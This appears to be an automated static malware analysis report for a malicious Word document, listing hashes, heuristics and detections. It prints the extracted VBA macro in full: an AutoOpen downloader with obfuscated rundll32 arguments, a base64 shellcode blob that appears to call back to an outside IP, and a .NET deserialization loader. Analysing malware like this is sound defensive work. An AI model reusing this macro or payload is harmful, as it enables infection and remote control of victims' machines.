Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45ac1a800d3b9398…

MALICIOUS

Office (OLE)

36.5 KB Created: 2018-02-16 21:19:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 7e576d0d95a8a9d596126d3e82ad3507 SHA-1: 10f71c33af50193e8a70875933b6b5278aa353c0 SHA-256: 45ac1a800d3b9398712e9ea620de0921b9bb3bb7a051be5218bf1e801c2fc853
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32

The sample contains VBA macros, specifically an AutoOpen macro, which is a common technique for executing malicious code upon document opening. The macro uses CreateObject to call 'rundll32.exe' with heavily obfuscated arguments, likely to download and execute a second-stage payload. The ClamAV detection of a JavaScript artifact suggests a multi-stage infection process.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2913 bytes
SHA-256: 2cfc3a1296c72acae190e9ba1583ba467a5e6b4ae6fd9e07e74ef50baff3f924
Detection
ClamAV: Win.Countermeasure.G2JS_Script_Generic_1-9818937-0
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LinesOfBusiness"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public binary As String
Public code As String

Private Function decodeHex(hex)
    On Error Resume Next
    Dim DM, EL
    Set DM = CreateObject("Microsoft.XMLDOM")
    Set EL = DM.createElement("tmp")
    EL.DataType = "bin.hex"
    EL.Text = hex
    decodeHex = EL.NodeTypedValue
End Function

Function LegitFunction()
    
    Dim fdAsrir As String
    fdAsrir = "rundl"
    fdAsrir = fdAsrir & "l32.exe"

    Dim fauurArs As String
    fauurArs = ""
    fauurArs = fauurArs & "/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPj"
    fauurArs = fauurArs & "PEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABo"
    fauurArs = fauurArs & "d2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAyoIRS"
    fauurArs = fauurArs & "UlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXi"
    fauurArs = fauurArs & "Xf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////zH/6ZEBAADpyQEAAOhv////L09YcUQAPl7kiNxqHywZ"
    fauurArs = fauurArs & "bQRuxzXKcd7U3oO/225XULafJyRGgKKXqICcymR6kPbASBn5X6S292+RXS7bNkWSI6/NZ5Qyj/ESgUJRH/Ox7ABVc2VyLUFnZW50"
    fauurArs = fauurArs & "OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvDQoAica5LxPPv36K"
    fauurArs = fauurArs & "PYdX32hbTGTg/un19G3kBypV+RQvr5OglTw+UlH9NDy0aZ3VIiq9+h8mQnjLP7pAvORgtdE5zF3z2jEG4R1Esaa8ymW0DoMQtNky"
    fauurArs = fauurArs & "tT18Jgn7a5+jDXkL2RkVDAYFFwW/2zmgHTSJ7/ZibJWRpxUkXK+Gj5deTXWBLgBny4rvG4OkhptWja4PAOBg9sSNEHbbk4tMvH8M"
    fauurArs = fauurArs & "vW7Du794onf9GayS0doLW1yz0uJ29pcuw79E7I7AAqBim454Ma4caYq/VoCLakpP3oYbZ6xpXgfps+K712z6p3QlLjsAaPC1olb/"
    fauurArs = fauurArs & "1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//zM1LjE4My4y"
    fauurArs = fauurArs & "LjU1AAe4BrU="

    Dim stm As Object, fmt As Object, al As Object
    Set stm = CreateObject("System.IO.MemoryStream")
    Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
    Set al = CreateObject("System.Collections.ArrayList")

    Dim dec
    dec = decodeHex(ooyur)

    For Each i In dec
        stm.WriteByte i
    Next i

    stm.Position = 0

    Dim n As Object, d As Object, o As Object
    Set n = fmt.SurrogateSelector
    Set d = fmt.Deserialize_2(stm)
    al.Add n

    Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(oour)
    o.flame fdAsrir, fauurArs
End Function

Sub AutoOpen()
LegitFunction
End Sub

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